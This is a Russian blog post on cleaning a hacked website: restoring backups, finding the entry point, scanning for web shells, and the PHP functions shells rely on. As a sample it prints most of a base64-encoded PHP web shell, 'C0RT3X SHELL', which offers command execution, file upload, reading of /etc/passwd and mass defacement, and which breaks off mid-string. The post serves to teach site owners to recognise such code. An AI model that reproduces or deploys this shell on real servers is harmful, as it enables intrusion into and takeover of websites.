Перейти к содержанию

Лечение сайта от вирусов

Надеюсь вы читаете только в ознакомительных целях так как если ваш сайт заразили это уже очень плохо и если у вас нет бэкапа то дело еще хуже.

Что такое взлом сайта – это незаконное получение несанкционированного доступа к защищенной информации или функциональности сайта. Вариантов проникновения прямо очень много от слабых пароле до уязвимостей.

Что делать если тебя взломали и есть бэкап?

  1. Восстановить из резервной копии если она есть и она не находилась вместе с сайтом то лучше восстановить
  2. Понять как проникли если у вас CMS проверить обновления , если самописный то лучше обратиться к разработчику

Что делать если нет бэкапа?

Начну с того что это прямо очень плохо, недавно чистил сайт где не было актуального бэкапа да и вообще его не было.

  1. Понять что сделали и когда, не редко бывает так что не сразу замечают не сразу и потом сложно сказать какие файлы были залиты
  2. Пройтись разными скриптами для поиска веб шелов например Ai Bolit или мой любимый скрипт PHP Antimalware Scanner
  3. После очистки сделать полный бэкап и найти точку входа через которую на него проникли.

find ~ -name “*htaccess*” Чаще всего вирусы пишут на php (так называемые шеллы). В коде таких вирусов на php распространены конструкции:

eval() preg_replace() gzuncompress() base64_decode()

Пример вредоносного кода

<?
//C0RT3X SHELL v.2
$code = 'QHNlc3Npb25fc3RhcnQoKTsgCkBzZXRfdGltZV9saW1pdCgwKTsgCgovL1BBU1NXT1JEIENPTkZJR1VSQVRJT04KCkAkcGFzcyA9ICRfUE9TVFsncGFzcyddOyAKJGNoa19sb2dpbiA9IHRydWU7IAokcGFzc3dvcmQgPSAidDN4LnYyIjsKLy9FTkQgQ09ORklHVVJBVElPTiAKCmlmKCRwYXNzID09ICRwYXNzd29yZCkgCnsgCiAkX1NFU1NJT05bJ25zdCddID0gIiRwYXNzIjsgCn0gCgppZigkY2hrX2xvZ2luID09IHRydWUpIAp7IAogaWYoIWlzc2V0KCRfU0VTU0lPTlsnbnN0J10pIG9yICRfU0VTU0lPTlsnbnN0J10gIT0gJHBhc3N3b3JkKSAKIHsgCiBkaWUoIiAKICA8dGl0bGU+QzBSVDNYIFNIRUxMIExPR0lOIHYuMjwvdGl0bGU+CiAgIDxsaW5rIHJlbD0nc3R5bGVzaGVldCcgaHJlZj0naHR0cHM6Ly9tYXhjZG4uYm9vdHN0cmFwY2RuLmNvbS9mb250LWF3ZXNvbWUvNC43LjAvY3NzL2ZvbnQtYXdlc29tZS5taW4uY3NzJz4KICAgPGxpbmsgaHJlZj0naHR0cHM6Ly9mb250cy5nb29nbGVhcGlzLmNvbS9jc3M/ZmFtaWx5PUtlbGx5K1NsYWInIHJlbD0nc3R5bGVzaGVldCcgdHlwZT0ndGV4dC9jc3MnPgo8bGluayBocmVmPSdodHRwczovL2kucGluaW1nLmNvbS9vcmlnaW5hbHMvNWMvNzUvMzUvNWM3NTM1MWM4MTRiYmRiNDhiNzE5YTY2NjQxYjQ1MmQucG5nJyByZWw9J2ljb24nIHR5cGU9J2ltYWdlL3gtaWNvbic+Cjxib2R5IGJnY29sb3I9JyMwMDAwMDAnPgo8c3R5bGU+Ci5sb2dvLTIwMCB7CiAgICBib3JkZXI6IDNweCBzb2xpZCAjZjEyODRlOwogICAgYm9yZGVyLXJhZGl1czogMjAwcHg7CiAgICBtYXJnaW4tcmlnaHQ6IDEwcHg7Cn0KPC9zdHlsZT4KICA8Y2VudGVyPgo8dHI+PHRkPjxpbWcgc3JjPSdodHRwczovL2kucGluaW1nLmNvbS9vcmlnaW5hbHMvNWMvNzUvMzUvNWM3NTM1MWM4MTRiYmRiNDhiNzE5YTY2NjQxYjQ1MmQucG5nJyBjbGFzcz0nbG9nby0yMDAgcGhvdG8nIHN0eWxlPSd3aWR0aDozNzBweDsgaGVpZ2h0OjM3MHB4OycgYm9yZGVyPSczJz48YnI+Cjxmb250IGZhY2U9J2tlbGx5IHNsYWInIHNpemU9JzUnIGNvbG9yPScjZjEyODRlJz5bPC9mb250Pjxmb250IGZhY2U9J2tlbGx5IHNsYWInIHNpemU9JzUnIGNvbG9yPScjZmZmZmZmJz5DMFJUM1ggU0hFTEwgTE9HSU4gdi4yPC9mb250Pjxmb250IGZhY2U9J2tlbGx5IHNsYWInIHNpemU9JzUnIGNvbG9yPScjZjEyODRlJz5dPC9mb250PgogIDxmb3JtIG1ldGhvZD0ncG9zdCc+CiAgPGNlbnRlcj48aW5wdXQgdHlwZT0ncGFzc3dvcmQnIG5hbWU9J3Bhc3MnIHN0eWxlPSdmb250LWZhbWlseTprZWxseSBzbGFiO21hcmdpbi10b3A6MTBweDt3aWR0aDoxNTBweDtiYWNrZ3JvdW5kOnRyYW5zcGFyZW50O2NvbG9yOiNmZmZmZmY7Ym9yZGVyOjJweCBzb2xpZCAjZjEyODRlO2JvcmRlci1yYWRpdXM6MnB4Oyc+IAogIDwvZm9ybT4gIDwvY2VudGVyPiAKICA8Y2VudGVyPgogIDxpIGNsYXNzPSdmYSBmYS1nbG9iZScgY29sb3I9JyNmMTI4NGUnPjwvaT48Zm9udCBmYWNlPSdrZWxseSBzbGFiJyBzaXplPScyJyBjb2xvcj0nd2hpdGUnPjxzdHJvbmc+SG9zdCBUYXJnZXQ6ICIuJF9TRVJWRVJbIkhUVFBfSE9TVCJdLiIgJm5ic3A7fAogIDxpIGNsYXNzPSdmYSBmYS1nbG9iZScgY29sb3I9JyNmMTI4NGUnPjwvaT48Zm9udCBmYWNlPSdrZWxseSBzbGFiJyBzaXplPScyJyBjb2xvcj0nd2hpdGUnPjxzdHJvbmc+SVA6ICIuZ2V0aG9zdGJ5bmFtZSgkX1NFUlZFUlsiSFRUUF9IT1NUIl0pLiIgJm5ic3A7fAogIDxpIGNsYXNzPSdmYSBmYS11c2VyJyBjb2xvcj0nI2YxMjg0ZSc+PC9pPjxmb250IGZhY2U9J2tlbGx5IHNsYWInIHNpemU9JzInIGNvbG9yPSd3aGl0ZSc+PHN0cm9uZz5NeSBJUDogIi4kX1NFUlZFUlsiUkVNT1RFX0FERFIiXS4iIAogIDwvdGQ+PC90cj48L3RhYmxlPiAKICA8L3RkPjwvdHI+PC90YWJsZT4gICA8L2NlbnRlcj4gCiAgIik7CiB9Cn0KZXJyb3JfcmVwb3J0aW5nKDApOwpzZXRfdGltZV9saW1pdCgwKTsKCmlmKGdldF9tYWdpY19xdW90ZXNfZ3BjKCkpewpmb3JlYWNoKCRfUE9TVCBhcyAka2V5PT4kdmFsdWUpewokX1BPU1RbJGtleV0gPSBzdHJpcHNsYXNoZXMoJHZhbHVlKTsKfQp9CmVjaG8gJzwhRE9DVFlQRSBIVE1MPgo8aHRtbD4KPGhlYWQ+CiAgIDxsaW5rIHJlbD0ic3R5bGVzaGVldCIgaHJlZj0iaHR0cHM6Ly9tYXhjZG4uYm9vdHN0cmFwY2RuLmNvbS9mb250LWF3ZXNvbWUvNC43LjAvY3NzL2ZvbnQtYXdlc29tZS5taW4uY3NzIj4KPGxpbmsgaHJlZj0iaHR0cHM6Ly9mb250cy5nb29nbGVhcGlzLmNvbS9jc3M/ZmFtaWx5PUtlbGx5K1NsYWIiIHJlbD0ic3R5bGVzaGVldCIgdHlwZT0idGV4dC9jc3MiPgo8dGl0bGU+QzBSVDNYIFNIRUxMIHYuMjwvdGl0bGU+CjxsaW5rIGhyZWY9Imh0dHBzOi8vaS5waW5pbWcuY29tL29yaWdpbmFscy81Yy83NS8zNS81Yzc1MzUxYzgxNGJiZGI0OGI3MTlhNjY2NDFiNDUyZC5wbmciIHJlbD0iaWNvbiIgdHlwZT0iaW1hZ2UveC1pY29uIj4KPHN0eWxlPgpib2R5ewogIGJhY2tncm91bmQtY29sb3I6ICMwMDBkMmE7CiAgLXdlYmtpdC1iYWNrZ3JvdW5kLXNpemU6IGNvdmVyOwogIC1tb3otYmFja2dyb3VuZC1zaXplOiBjb3ZlcjsKICAtby1iYWNrZ3JvdW5kLXNpemU6IGNvdmVyOwogIGJhY2tncm91bmQtc2l6ZTogY292ZXI7CiAgZm9udC1mYW1pbHk6a2VsbHkgc2xhYjsKY29sb3I6IHdoaXRlOwp9CiNjb250ZW50IHRyOmhvdmVyewoJYmFja2dyb3VuZDojMDAwMDAwOwoJY29sb3I6I2YxMjg0ZTsKCWJvcmRlcjoycHggc29saWQgI2YxMjg0ZTsKCWJvcmRlci1yYWRpdXM6MnB4Owp9CiNjb250ZW50IC5maXJzdHsKCWJhY2tncm91bmQ6I2YxMjg0ZTsKCWNvbG9yOiNmZmY7Cglib3JkZXI6MnB4IHNvbGlkICNmMTI4NGU7Cglib3JkZXItcmFkaXVzOjJweDsKfQp0YWJsZXsKICAgIGJvcmRlcjogMnB4ICMwMDBkMmEgZG90dGVkOwp9CkgxewoJZm9udC1mYW1pbHkgOmtlbGx5IHNsYWI7Cn0KYXsKICAgIGNvbG9yOiNmZmY7CiAgICB0ZXh0LWRlY29yYXRpb246bm9uZTsKfQphOmhvdmVyIHsKCWJhY2tncm91bmQ6IzAwMDAwMDsKCWNvbG9yOiMwMkJDOEM7Cgl0ZXh0LWRlY29yYXRpb246IHVuZGVybGluZTsKfQppbnB1dCxzZWxlY3QsdGV4dGFyZWF7CiAgICBib3JkZXI6IDFweCAjMDAwMDAwIHNvbGlkOwogICAgLW1vei1ib3JkZXItcmFkaXVzOiA1cHg7CiAgICAtd2Via2l0LWJvcmRlci1yYWRpdXM6NXB4OwogICAgYm9yZGVyLXJhZGl1czoycHg7Cn0KLnJ5dXUgewoJYm9yZGVyOiAycHggc29saWQgI2YxMjg0ZTsgYm9yZGVyLXJhZGl1czoycHgKfQoua2F0c3VtaSB7Cglmb250LWZhbWlseTprZWxseSBzbGFiOwoJZm9udC1zaXplOiAxOHB4OwogICAgYm9yZGVyOiAycHggc29saWQgI2YxMjg0ZTsgYm9yZGVyLXJhZGl1czoycHg7Cgl3aWR0aDogNTAwcHg7CgloZWlnaHQ6IDMwMHB4OwoJcGFkZGluZy1sZWZ0OiA1cHg7CgltYXJnaW46IDEwcHggYXV0bzsKCXJlc2l6ZTogbm9uZTsKCWJhY2tncm91bmQ6IHRyYW5zcGFyZW50OwoJY29sb3I6ICNmZmZmZmY7Cn0KLmMwciB7Cglib3JkZXI6IDJweCBzb2xpZCAjZjEyODRlOyBib3JkZXItcmFkaXVzOjJweDsKCXdpZHRoOiAxNTBweDsKCWhlaWdodDogMjdweDsKCXBhZGRpbmctbGVmdDogNXB4OwoJbWFyZ2luOiAxMHB4IGF1dG87CglyZXNpemU6IG5vbmU7CgliYWNrZ3JvdW5kOiB0cmFuc3BhcmVudDsKCWNvbG9yOiAjZmZmZmZmOwoJZm9udC1mYW1pbHk6a2VsbHkgc2xhYjsKCWZvbnQtc2l6ZTogMThweDsKfQoudDN4IHsKCWZvbnQtZmFtaWx5OmtlbGx5IHNsYWI7Cglmb250LXNpemU6MjBweDsKCW1hcmdpbi10b3A6MTBweDt3aWR0aDo1MHB4OwoJYmFja2dyb3VuZDp0cmFuc3BhcmVudDsKCWNvbG9yOiNmZmY7Cglib3JkZXI6MnB4IHNvbGlkICNmMTI4NGU7Cglib3JkZXItcmFkaXVzOjJweAp9Ci5pc2hpa2kgewoJYm9yZGVyOiAycHggc29saWQgI2YxMjg0ZTsgYm9yZGVyLXJhZGl1czoycHg7Cgl3aWR0aDogNDUwcHg7CgloZWlnaHQ6IDI1cHg7CglwYWRkaW5nLWxlZnQ6IDVweDsKCW1hcmdpbjogMTBweCBhdXRvOwoJcmVzaXplOiBub25lOwoJYmFja2dyb3VuZDogdHJhbnNwYXJlbnQ7Cgljb2xvcjogd2hpdGU7Cglmb250LWZhbWlseToga2VsbHkgc2xhYjsKCWZvbnQtc2l6ZTogMThweDsKfQoudGF0c3V5YSB7Cglib3JkZXI6IDJweCBzb2xpZCAjZjEyODRlOyBib3JkZXItcmFkaXVzOjJweDsKCXdpZHRoOiAyMDU7CgloZWlnaHQ6IDMwcHg7CglwYWRkaW5nLWxlZnQ6IDVweDsKCW1hcmdpbjogMTBweCBhdXRvOwoJcmVzaXplOiBub25lOwoJYmFja2dyb3VuZDogdHJhbnNwYXJlbnQ7Cgljb2xvcjogI2YxMjg0ZTsKCWZvbnQtZmFtaWx5OiBrZWxseSBzbGFiOwoJZm9udC1zaXplOiAxOHB4Owp9Ci5zZW5hIHsKCWZvbnQtZmFtaWx5OiBrZWxseSBzbGFiOwoJbWFyZ2luLXRvcDogMTBweDsKCXdpZHRoOiA4MHB4OwoJYmFja2dyb3VuZDogdHJhbnNwYXJlbnQ7Cgljb2xvcjogI2ZmZjsKCWJvcmRlcjoycHggc29saWQgI2YxMjg0ZTsKCWJvcmRlci1yYWRpdXM6MnB4Cn0KLmNtZC1zdHlsZSB7CgliYWNrZ3JvdW5kOnRyYW5zcGFyZW50OwoJZm9udC1mYW1pbHk6a2VsbHkgc2xhYjsKCWNvbG9yOiNmZmY7Cglib3JkZXI6MnB4IHNvbGlkICNmMTI4NGU7Cglib3JkZXItcmFkaXVzOjJweAp9Ci5mb290LXN0eWxlIHsKCWJvcmRlcjogMnB4IHNvbGlkICNmMTI4NGU7Cglib3JkZXItcmFkaXVzOjJweDsKCXdpZHRoOiA0MjBweDsKCWhlaWdodDogMjJweDsKCXBhZGRpbmctbGVmdDogNXB4OwoJbWFyZ2luOiAxMHB4IGF1dG87CglyZXNpemU6IG5vbmU7CgliYWNrZ3JvdW5kOiAjMDAwOwoJY29sb3I6ICNmZmY7Cglmb250LWZhbWlseToga2VsbHkgc2xhYjsKfQouYWJvdXQtc3R5bGUgewoJYm9yZGVyOiAycHggc29saWQgI2YxMjg0ZTsKCWJvcmRlci1yYWRpdXM6MnB4OwoJd2lkdGg6IDQ1MHB4OwoJaGVpZ2h0OiAxMDBweDsKCXBhZGRpbmctbGVmdDogNXB4OwoJbWFyZ2luOiAxMHB4IGF1dG87CglyZXNpemU6IG5vbmU7CgliYWNrZ3JvdW5kOiAjMDAwOwoJY29sb3I6ICNmZmY7Cglmb250LWZhbWlseToga2VsbHkgc2xhYjsKfQouaW5mbyB7Cglib3JkZXI6IDJweCBzb2xpZCAjZjEyODRlOwoJYm9yZGVyLXJhZGl1czoycHg7Cgl3aWR0aDogNTAwcHg7CglwYWRkaW5nLWxlZnQ6IDVweDsKCW1hcmdpbjogMTBweCBhdXRvOwoJcmVzaXplOiBub25lOwoJYmFja2dyb3VuZDogIzAwMDsKCWNvbG9yOiAjZmZmOwoJZm9udC1mYW1pbHk6IGtlbGx5IHNsYWI7Cn0KLnVwbG9hZC1zdHlsZSB7Cglmb250LWZhbWlseTprZWxseSBzbGFiOwoJbWFyZ2luLXRvcDoxMHB4OwoJd2lkdGg6MTM1cHg7CgliYWNrZ3JvdW5kOnRyYW5zcGFyZW50OwoJY29sb3I6I2ZmZmZmZjsKCWJvcmRlcjoycHggc29saWQgI2YxMjg0ZTsKCWJvcmRlci1yYWRpdXM6MnB4Owp9Ci51cGxvYWQyLXN0eWxlIHsKCWZvbnQtZmFtaWx5OmtlbGx5IHNsYWI7CgltYXJnaW4tdG9wOjEwcHg7Cgl3aWR0aDoyNDBweDsKCWJhY2tncm91bmQ6dHJhbnNwYXJlbnQ7Cgljb2xvcjojZmZmOwoJYm9yZGVyOjJweCBzb2xpZCAjZjEyODRlOwoJYm9yZGVyLXJhZGl1czoycHg7Cn0KPC9zdHlsZT4KPC9oZWFkPgo8Ym9keT4KPGgxPjxjZW50ZXI+PGZvbnQgY29sb3I9IiNmMTI4NGUiPls8L2ZvbnQ+PGZvbnQgY29sb3I9IndoaXRlIj5DMFJUM1ggU0hFTEwgdi4yPC9mb250Pjxmb250IGNvbG9yPSIjZjEyODRlIj5dPC9mb250PjwvY2VudGVyPjwvaDE+Cjx0YWJsZSB3aWR0aD0iMTAwJSIgY2xhc3M9InJ5dXUiIGJvcmRlcj0iMCIgY2VsbHBhZGRpbmc9IjMiIGNlbGxzcGFjaW5nPSIxIiBhbGlnbj0iY2VudGVyIj4KPHRyPjx0ZD48Zm9udCBmYWNlPSJrZWxseSBzbGFiIiBjb2xvcj0iI2ZmZiIgc3R5bGU9ImJhY2tncm91bmQ6I2YxMjg0ZSI+Q3VycmVudCBQYXRoIDo8L2ZvbnQ+ICc7CmlmKGlzc2V0KCRfR0VUWydwYXRoJ10pKXsKJHBhdGggPSAkX0dFVFsncGF0aCddOwp9ZWxzZXsKJHBhdGggPSBnZXRjd2QoKTsKfQokcGF0aCA9IHN0cl9yZXBsYWNlKCdcXCcsJy8nLCRwYXRoKTsKJHBhdGhzID0gZXhwbG9kZSgnLycsJHBhdGgpOwoKZm9yZWFjaCgkcGF0aHMgYXMgJGlkPT4kcGF0KXsKaWYoJHBhdCA9PSAnJyAmJiAkaWQgPT0gMCl7CiRhID0gdHJ1ZTsKZWNobyAnPGEgaHJlZj0iP3BhdGg9LyI+LzwvYT4nOwpjb250aW51ZTsKfQppZigkcGF0ID09ICcnKSBjb250aW51ZTsKZWNobyAnPGEgaHJlZj0iP3BhdGg9JzsKZm9yKCRpPTA7JGk8PSRpZDskaSsrKXsKZWNobyAiJHBhdGhzWyRpXSI7CmlmKCRpICE9ICRpZCkgZWNobyAiLyI7Cn0KZWNobyAnIj4nLiRwYXQuJzwvYT4vJzsKfQokc3BvcnQ9JF9TRVJWRVJbJ1NFUlZFUl9QT1JUJ107CiRrZXJuZWwgPSBwaHBfdW5hbWUoKTsKJGRpciA9IHN0cl9yZXBsYWNlKCJcXCIsIi8iLCRkaXIpOwokc2NkaXIgPSBleHBsb2RlKCIvIiwgJGRpcik7CiRzbSA9IChAaW5pX2dldChzdHJ0b2xvd2VyKCJzYWZlX21vZGUiKSkgPT0gJ29uJykgPyAiPGZvbnQgY29sb3I9cmVkPk9OPC9mb250PiIgOiAiPGZvbnQgY29sb3I9JyMwMkJDOEMnPk9GRjwvZm9udD4iOwokbGluZz0iaHR0cDovLyIuJF9TRVJWRVJbJ1NFUlZFUl9OQU1FJ10uIiIuJF9TRVJWRVJbJ1BIUF9TRUxGJ10uIj9jcmVhdGUiOwokZHMgPSBAaW5pX2dldCgiZGlzYWJsZV9mdW5jdGlvbnMiKTsKJG15c3FsID0gKGZ1bmN0aW9uX2V4aXN0cygnbXlzcWxfY29ubmVjdCcpKSA/ICI8Zm9udCBjb2xvcj0nIzAyQkM4Qyc+T048L2ZvbnQ+IiA6ICI8Zm9udCBjb2xvcj1yZWQ+T0ZGPC9mb250PiI7CiRjdXJsID0gKGZ1bmN0aW9uX2V4aXN0cygnY3VybF92ZXJzaW9uJykpID8gIjxmb250IGNvbG9yPScjMDJCQzhDJz5PTjwvZm9udD4iIDogIjxmb250IGNvbG9yPXJlZD5PRkY8L2ZvbnQ+IjsKJHdnZXQgPSAoZXhlKCd3Z2V0IC0taGVscCcpKSA/ICI8Zm9udCBjb2xvcj0nIzAyQkM4Qyc+T048L2ZvbnQ+IiA6ICI8Zm9udCBjb2xvcj1yZWQ+T0ZGPC9mb250PiI7CiRwZXJsID0gKGV4ZSgncGVybCAtLWhlbHAnKSkgPyAiPGZvbnQgY29sb3I9JyMwMkJDOEMnPk9OPC9mb250PiIgOiAiPGZvbnQgY29sb3I9cmVkPk9GRjwvZm9udD4iOwokcHl0aG9uID0gKGV4ZSgncHl0aG9uIC0taGVscCcpKSA/ICI8Zm9udCBjb2xvcj0nIzAyQkM4Qyc+T048L2ZvbnQ+IiA6ICI8Zm9udCBjb2xvcj1yZWQ+T0ZGPC9mb250PiI7CiRzaG93X2RzID0gKCFlbXB0eSgkZHMpKSA/ICI8Zm9udCBjb2xvcj1yZWQ+JGRzPC9mb250PiIgOiAiPGZvbnQgY29sb3I9JyMwMkJDOEMnPk5PTkU8L2ZvbnQ+IjsKaWYoIWZ1bmN0aW9uX2V4aXN0cygncG9zaXhfZ2V0ZWdpZCcpKSB7CgkkdXNlciA9IEBnZXRfY3VycmVudF91c2VyKCk7CgkkdWlkID0gQGdldG15dWlkKCk7CgkkZ2lkID0gQGdldG15Z2lkKCk7CgkkZ3JvdXAgPSAiPyI7Cn0gZWxzZSB7CgkkdWlkID0gQHBvc2l4X2dldHB3dWlkKHBvc2l4X2dldGV1aWQoKSk7CgkkZ2lkID0gQHBvc2l4X2dldGdyZ2lkKHBvc2l4X2dldGVnaWQoKSk7CgkkdXNlciA9ICR1aWRbJ25hbWUnXTsKCSR1aWQgPSAkdWlkWyd1aWQnXTsKCSRncm91cCA9ICRnaWRbJ25hbWUnXTsKCSRnaWQgPSAkZ2lkWydnaWQnXTsKfQokZDBtYWlucyA9IEBmaWxlKCIvZXRjL25hbWVkLmNvbmYiKTsKCQkJJHVzZXJzPUBmaWxlKCcvZXRjL3Bhc3N3ZCcpOwogICAgICAgIGlmKCRkMG1haW5zKQogICAgICAgIHsgCgkJCSRjb3VudDsgIAoJCQlmb3JlYWNoKCRkMG1haW5zIGFzICRkMG1haW4pCgkJCXsKCQkJCWlmKEBlcmVnKCJ6b25lIiwkZDBtYWluKSkKCQkJCXsKCQkJCQlwcmVnX21hdGNoX2FsbCgnI3pvbmUgIiguKikiIycsICRkMG1haW4sICRkb21haW5zKTsKCQkJCQlmbHVzaCgpOwoJCQkJCWlmKHN0cmxlbih0cmltKCRkb21haW5zWzFdWzBdKSkgPiAyKQoJCQkJCXsKCQkJCQkJZmx1c2goKTsKCQkJCQkJJGNvdW50Kys7CgkJCSAgIAkJfSAKCQkJICAgCX0KCQkJfQoJCX0KCQkKZWNobyAnPC90YWJsZT4nOwplY2hvICIKPGRpdiBpZD0nbWVudSc+CjxjZW50ZXI+Cjx1bD4KPGEgaHJlZj0nPycgY2xhc3M9J3QzeCc+SG9tZTwvYT4KPGEgaHJlZj0nP3BhdGg9JHBhdGgmaW5mb3dlYj1pbmZvd2ViJyBjbGFzcz0ndDN4Jz5XZWIgSW5mbzwvYT4KPGEgaHJlZj0nP3BhdGg9JHBhdGgmY21kPWNtZCcgY2xhc3M9J3QzeCc+Q29tbWFuZDwvYT4KPGEgaHJlZj0nP3BhdGg9JHBhdGgmbWFzc19kZWZhY2U9bWFzc19kZWZhY2UnIGNsYXNzPSd0M3gnPk1hc3MgRGVmYWNlPC9hPgo8YSBocmVmPSc/cGF0aD0kcGF0aCZjb25maWc9Y29uZmlnJyBjbGFzcz0ndDN4Jz5Db25maWc8L2E+PGJyPgo8YSBocmVmPSc/cGF0aD0kcGF0aCZqdW1waW5nPWp1bXBpbmcnIGNsYXNzPSd0M3gnPkp1bXBpbmc8L2E+CjxhIGhyZWY9Jz9wYXRoPSRwYXRoJnpvbmVoPXpvbmVoJyBjbGFzcz0ndDN4Jz5ab25lLUg8L2E+CjxhIGhyZWY9Jz9wYXRoPSRwYXRoJmNzcmY9Y3NyZicgY2xhc3M9J3QzeCc+Q1NSRjwvYT4KPGEgaHJlZj0nP3BhdGg9JHBhdGgmdW56aXA9dW56aXAnIGNsYXNzPSd0M3gnPlVuemlwIE1lbnU8L2E+CjxhIGhyZWY9Jz9wYXRoPSRwYXRoJmFib3V0PWFib3V0JyBjbGFzcz0ndDN4Jz5BYm91dDwvYT48YnI+PC9icj4KPGZvcm0gbWV0aG9kPSdwb3N0JyBhY3Rpb249Jz9wYXRoPSRwYXRoJmNtZD1jbWQnPiI7CmVjaG8gJyA8Zm9udCBzdHlsZT0idGV4dC1kZWNvcmF0aW9uOiB1bmRlcmxpbmU7Ij4nLiR1c2VyLiJAIi4kaXAuJzogfiAkIDwvZm9udD4KICAgPGlucHV0IHR5cGU9InRleHQiIGNsYXNzPSJjbWQtc3R5bGUiIG5hbWU9ImNtZCI+PGlucHV0IHR5cGU9InN1Ym1pdCIgbmFtZT0iZG9fY21kIiB2YWx1ZT0iPj4iIGNsYXNzPSJjbWQtc3R5bGUiPgo8L2NlbnRlcj48L2Zvcm0+PC90ZD48L3RyPjwvY2VudGVyPic7CmlmKGlzc2V0KCRfRklMRVNbJ2ZpbGUnXSkpewppZihjb3B5KCRfRklMRVNbJ2ZpbGUnXVsndG1wX25hbWUnXSwkcGF0aC4nLycuJF9GSUxFU1snZmlsZSddWyduYW1lJ10pKXsKZWNobyAnPGNlbnRlcj48Zm9udCBjb2xvcj0iIzAyQkM4QyI+VXBsb2FkIEJlcmhhc2lsIFNlbnBhaSBeX148L2ZvbnQ+PC9jZW50ZXI+PGJyIC8+JzsKfWVsc2V7CmVjaG8gJzxjZW50ZXI+PGZvbnQgY29sb3I9InJlZCI+VXBsb2FkIEdhZ2FsIDooPC9mb250PjwvY2VudGVyPic7Cn0KfQplY2hvICc8Y2VudGVyPjxmb3JtIGVuY3R5cGU9Im11bHRpcGFydC9mb3JtLWRhdGEiIG1ldGhvZD0iUE9TVCI+CjxpIGNsYXNzPSJmYSBmYS11cGxvYWQiPjwvaT4mbmJzcDs8Zm9udCBjb2xvcj0id2hpdGUiPkZpbGUgVXBsb2FkZXIgOjwvZm9udD4gPGlucHV0IHR5cGU9ImZpbGUiIG5hbWU9ImZpbGUiIGNsYXNzPSJ1cGxvYWQyLXN0eWxlIi8+CjxpbnB1dCB0eXBlPSJzdWJtaXQiIHZhbHVlPSJVcGxvYWQiIGNsYXNzPSJzZW5hIi8+CjwvZm9ybT48L2NlbnRlcj4KPC90ZD48L3RyPic7CmVjaG8gJzxociBjb2xvcj0iI2YxMjg0ZSI+CjxpZnJhbWUgd2lkdGg9IjEwMCUiIGhlaWdodD0iMjAiIHNjcm9sbGluZz0ibm8iIGZyYW1lYm9yZGVyPSJubyIgc3JjPSJodHRwczovL3cuc291bmRjbG91ZC5jb20vcGxheWVyLz91cmw9aHR0cHMlM0EvL2FwaS5zb3VuZGNsb3VkLmNvbS90cmFja3MvNjczOTA2MDczJmNvbG9yPSUyMzAyYmM4YyZhdXRvX3BsYXk9dHJ1ZSZoaWRlX3JlbGF0ZWQ9ZmFsc2Umc2hvd19jb21tZW50cz10cnVlJnNob3dfdXNlcj10cnVlJnNob3dfcmVwb3N0cz1mYWxzZSZzaG93X3RlYXNlcj10cnVlIj48L2lmcmFtZT4KPGhyIGNvbG9yPSIjZjEyODRlIj4nOwppZihpc3NldCgkX0dFVFsnZmlsZXNyYyddKSl7CmVjaG8gIjx0cj48dGQ+Q3VycmVudCBGaWxlIDogIjsKZWNobyAkX0dFVFsnZmlsZXNyYyddOwplY2hvICc8L3RyPjwvdGQ+PC90YWJsZT48YnIgLz4nOwplY2hvKCc8cHJlPicuaHRtbHNwZWNpYWxjaGFycyhmaWxlX2dldF9jb250ZW50cygkX0dFVFsnZmlsZXNyYyddKSkuJzwvcHJlPicpOwp9ZWxzZWlmKGlzc2V0KCRfR0VUWydhYm91dCddKSA9PSAnYWJvdXQnKSB7CmVjaG8gJzxzdHlsZT4KLmxvZ28tODUgewogICAgYm9yZGVyOiAzcHggc29saWQgI2YxMjg0ZTsKICAgIGJvcmRlci1yYWRpdXM6IDEwMHB4OwogICAgbWFyZ2luLXJpZ2h0OiAxMHB4Owp9Cjwvc3R5bGU+CjxjZW50ZXI+CjxpbWcgc3JjPSJodHRwczovL2kucGluaW1nLmNvbS9vcmlnaW5hbHMvNWMvNzUvMzUvNWM3NTM1MWM4MTRiYmRiNDhiNzE5YTY2NjQxYjQ1MmQucG5nIiBjbGFzcz0ibG9nby04NSBwaG90byJoZWlnaHQ9IjE4NSIgd2lkdGg9IjE4NSIvPjxicj4KICA8ZGl2IGNsYXNzPSJhYm91dC1zdHlsZSI+PGkgY2xhc3M9ImZhIGZhLWJvb2siPjwvaT48Yj5BYm91dCBVczo8L2I+PGJyPlNlYmVuYXJueWEgc2hlbGwgaW5pIGRpYnVhdCB0aWRhayBhZGEgYWxhc2FuIGtodXN1cyxTaGVsbCBpbmkgZGlidWF0IGthcmVuYSBzYXlhIG1lcmFzYSBib3NhbiBhdGF1IGdhYnV0LCBKYWRpIGludGlueWEgc2hlbGwgaW5pIGRpYnVhdCBrYXJlbmEga2UgaXNlbmdhbiBzYXlhIHNhamE6KQogIDwvZGl2PjwvY2VudGVyPic7CiAgfWVsc2VpZihpc3NldCgkX0dFVFsndW56aXAnXSkgPT0gJ3VuemlwJykgewoJZWNobyAiPGNlbnRlcj48aDI+WmlwIE1lbnU8L2gyPiI7CmZ1bmN0aW9uIHJtZGlyX3JlY3Vyc2l2ZSgkcGF0aCkgewogICAgZm9yZWFjaChzY2FuZGlyKCRwYXRoKSBhcyAkZmlsZSkgewogICAgICAgaWYgKCcuJyA9PT0gJGZpbGUgfHwgJy4kcGF0aC4nID09PSAkZmlsZSkgY29udGludWU7CiAgICAgICBpZiAoaXNfZGlyKCIkcGF0aC8kZmlsZSIpKSBybWRpcl9yZWN1cnNpdmUoIiRwYXRoLyRmaWxlIik7CiAgICAgICBlbHNlIHVubGluaygiJHBhdGgvJGZpbGUiKTsKICAgfQogICBybWRpcigkcGF0aCk7Cn0KaWYoJF9GSUxFU1siemlwX2ZpbGUiXVsibmFtZSJdKSB7CgkkZmlsZW5hbWUgPSAkX0ZJTEVTWyJ6aXBfZmlsZSJdWyJuYW1lIl07Cgkkc291cmNlID0gJF9GSUxFU1siemlwX2ZpbGUiXVsidG1wX25hbWUiXTsKCSR0eXBlID0gJF9GSUxFU1siemlwX2ZpbGUiXVsidHlwZSJdOwoJJG5hbWUgPSBleHBsb2RlKCIuIiwgJGZpbGVuYW1lKTsKCSRhY2NlcHRlZF90eXBlcyA9IGFycmF5KCdhcHBsaWNhdGlvbi96aXAnLCAnYXBwbGljYXRpb24veC16aXAtY29tcHJlc3NlZCcsICdtdWx0aXBhcnQveC16aXAnLCAnYXBwbGljYXRpb24veC1jb21wcmVzc2VkJyk7Cglmb3JlYWNoKCRhY2NlcHRlZF90eXBlcyBhcyAkbWltZV90eXBlKSB7CgkJaWYoJG1pbWVfdHlwZSA9PSAkdHlwZSkgewoJCQkkb2theSA9IHRydWU7CgkJCWJyZWFrOwoJCX0gCgl9CgkkY29udGludWUgPSBzdHJ0b2xvd2VyKCRuYW1lWzFdKSA